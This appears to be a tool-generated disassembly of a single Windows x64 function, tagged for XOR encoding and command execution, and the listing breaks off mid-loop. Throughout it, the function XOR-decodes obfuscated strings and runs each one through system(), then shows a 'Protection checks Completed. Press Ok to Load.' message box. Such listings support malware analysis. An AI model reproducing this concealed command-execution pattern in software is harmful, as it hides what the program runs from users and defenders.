Function at 0x1400028a0
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4f90]
mov eax, 0x5090
call fcn.14007be00
sub rsp, rax
movaps xmmword [rsp + 0x5080], xmm6
movaps xmmword [rsp + 0x5070], xmm7
movaps xmmword [rsp + 0x5060], xmm8
mov rax, qword [0x14009d090]
xor rax, rsp
mov qword [rbp + 0x4f50], rax
mov rdi, rdx
call fcn.140001630
call fcn.1400012a0
call fcn.140001670
call fcn.1400012e0
call fcn.1400016b0
call fcn.1400015c0
call fcn.140001360
call fcn.1400013d0
call fcn.140001790
movsd xmm0, qword [0x14008fa60]
movsd qword [rbp + 0x198], xmm0
mov eax, dword [str._RNUH_]
mov dword [rbp + 0x1a0], eax
movzx eax, word [0x14008fa6c]
mov word [rbp + 0x1a4], ax
xor ebx, ebx
lea r13d, [rbx + 4]
lea r14d, [rbx + 0x1f]
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x14008fa6d], bl
je 0x140002ac0
mov r8d, ebx
cmp r12d, 2
jl 0x140002a83
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movd xmm5, r14d
movdqa xmm2, xmmword [0x1400902e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [0x14008fa60]
xorps xmm2, xmm0
movd dword [rbp + 0x198], xmm2
movdqa xmm3, xmmword [0x1400902f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rbp + 0x19c]
xorps xmm2, xmm0
movd dword [rbp + 0x19c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x198]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140002a90
lea rcx, [rbp + 0x198]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x14008fa58]
mov dword [rbp + 0x458], eax
movzx eax, byte [0x14008fa5c]
movups xmm0, xmmword [0x14008fa48]
mov byte [rbp + 0x45c], al
movups xmmword [rbp + 0x448], xmm0
mov r8d, ebx
cmp r12d, 2
jl 0x140002c43
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, r14d
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x44c]
mov edx, dword [rbp - 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140002b40
cmp r8d, 0x15
jge 0x140002c80
movsxd rax, r8d
lea r9, [rbp + 0x448]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140002c50
lea rcx, [rbp + 0x448]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [str.Q_G5]
mov dword [rbp + 0x7c], eax
cmp byte [0x14008f91b], bl
je 0x140002d6f
cmp r12d, 2
jl 0x140002d31
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x7c], xmm2
jmp 0x140002d6f
lea r9, [rbp + 0x7c]
mov r8d, ebx
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, r13d
jl 0x140002d40
lea rcx, [rbp + 0x7c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rdi + 8]
call fcn.140001800
call fcn.140001b20
call fcn.140001bf0
movsd xmm0, qword [0x14008fa60]
movsd qword [rbp + 0x1a8], xmm0
mov eax, dword [str._RNUH_]
mov dword [rbp + 0x1b0], eax
movzx eax, word [0x14008fa6c]
mov word [rbp + 0x1b4], ax
cmp byte [0x14008fa6d], bl
je 0x140002f20
mov r8d, ebx
cmp r12d, 2
jl 0x140002edd
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movd xmm5, r14d
movdqa xmm2, xmmword [0x1400902e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14008fa60]
xorps xmm2, xmm0
movd dword [rbp + 0x1a8], xmm2
movdqa xmm3, xmmword [0x1400902f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1ac]
xorps xmm2, xmm1
movd dword [rbp + 0x1ac], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1a8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140002ef0
lea rcx, [rbp + 0x1a8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x14008fa58]
mov dword [rbp + 0x470], eax
movzx eax, byte [0x14008fa5c]
movups xmm0, xmmword [0x14008fa48]
mov byte [rbp + 0x474], al
movups xmmword [rbp + 0x460], xmm0
mov r8d, ebx
cmp r12d, 2
jl 0x1400030a3
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, r14d
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x464]
mov edx, dword [rbp - 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140002fa0
cmp r8d, 0x15
jge 0x1400030e0
movsxd rax, r8d
lea r9, [rbp + 0x460]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400030b0
lea rcx, [rbp + 0x460]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [str.Q_G5]
mov dword [rbp - 0x30], eax
cmp byte [0x14008f91b], bl
je 0x1400031cf
cmp r12d, 2
jl 0x140003191
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x30], xmm2
jmp 0x1400031cf
lea r9, [rbp - 0x30]
mov r8d, ebx
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, r13d
jl 0x1400031a0
lea rcx, [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400019c0
call fcn.140001a50
call fcn.140001ad0
movsd xmm0, qword [0x14008fa60]
movsd qword [rbp + 0x1b8], xmm0
mov eax, dword [str._RNUH_]
mov dword [rbp + 0x1c0], eax
movzx eax, word [0x14008fa6c]
mov word [rbp + 0x1c4], ax
cmp byte [0x14008fa6d], bl
je 0x140003380
mov r8d, ebx
cmp r12d, 2
jl 0x140003339
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movd xmm5, r14d
movdqa xmm2, xmmword [0x1400902e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14008fa60]
xorps xmm2, xmm0
movd dword [rbp + 0x1b8], xmm2
movdqa xmm3, xmmword [0x1400902f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1bc]
xorps xmm2, xmm1
movd dword [rbp + 0x1bc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1b8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140003350
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x14008fa58]
mov dword [rbp + 0x488], eax
movzx eax, byte [0x14008fa5c]
movups xmm0, xmmword [0x14008fa48]
mov byte [rbp + 0x48c], al
movups xmmword [rbp + 0x478], xmm0
mov r8d, ebx
cmp r12d, 2
jl 0x140003503
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, r14d
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x47c]
mov edx, dword [rbp - 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140003400
cmp r8d, 0x15
jge 0x140003540
movsxd rax, r8d
lea r9, [rbp + 0x478]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140003510
lea rcx, [rbp + 0x478]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [str.Q_G5]
mov dword [rbp - 0x2c], eax
cmp byte [0x14008f91b], bl
je 0x14000362f
cmp r12d, 2
jl 0x1400035f1
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x2c], xmm2
jmp 0x14000362f
lea r9, [rbp - 0x2c]
mov r8d, ebx
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, r13d
jl 0x140003600
lea rcx, [rbp - 0x2c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140001c00
call fcn.140001c50
movsd xmm0, qword [0x14008fa60]
movsd qword [rbp + 0x1c8], xmm0
mov eax, dword [str._RNUH_]
mov dword [rbp + 0x1d0], eax
movzx eax, word [0x14008fa6c]
mov word [rbp + 0x1d4], ax
cmp byte [0x14008fa6d], bl
je 0x1400037e0
mov r8d, ebx
cmp r12d, 2
jl 0x140003794
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movd xmm5, r14d
movdqa xmm2, xmmword [0x1400902e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14008fa60]
xorps xmm2, xmm0
movd dword [rbp + 0x1c8], xmm2
movdqa xmm3, xmmword [0x1400902f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1cc]
xorps xmm2, xmm1
movd dword [rbp + 0x1cc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1c8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400037b0
lea rcx, [rbp + 0x1c8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x14008fa58]
mov dword [rbp + 0x4a0], eax
movzx eax, byte [0x14008fa5c]
movups xmm0, xmmword [0x14008fa48]
mov byte [rbp + 0x4a4], al
movups xmmword [rbp + 0x490], xmm0
mov r8d, ebx
cmp r12d, 2
jl 0x140003963
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, r14d
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x494]
mov edx, dword [rbp - 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140003860
cmp r8d, 0x15
jge 0x1400039a0
movsxd rax, r8d
lea r9, [rbp + 0x490]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140003970
lea rcx, [rbp + 0x490]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [str.Q_G5]
mov dword [rbp - 0x28], eax
cmp byte [0x14008f91b], bl
je 0x140003a8f
cmp r12d, 2
jl 0x140003a51
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x28], xmm2
jmp 0x140003a8f
lea r9, [rbp - 0x28]
mov r8d, ebx
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, r13d
jl 0x140003a60
lea rcx, [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140001c90
call fcn.140001cf0
call fcn.140001cd0
call fcn.140001d30
xor r9d, r9d
lea r8, [0x14008f6e4]
lea rdx, str.Protection_checks_Completed._Press_Ok_to_Load.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movups xmm0, xmmword [0x14008fb80]
movups xmmword [rbp + 0x2f8], xmm0
movzx eax, word [0x14008fb90]
mov word [rbp + 0x308], ax
movzx eax, byte [0x14008fb92]
mov byte [rbp + 0x30a], al
mov r8d, ebx
cmp r12d, 2
jl 0x140003c45
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, r14d
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x2fc]
mov edx, dword [rbp - 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
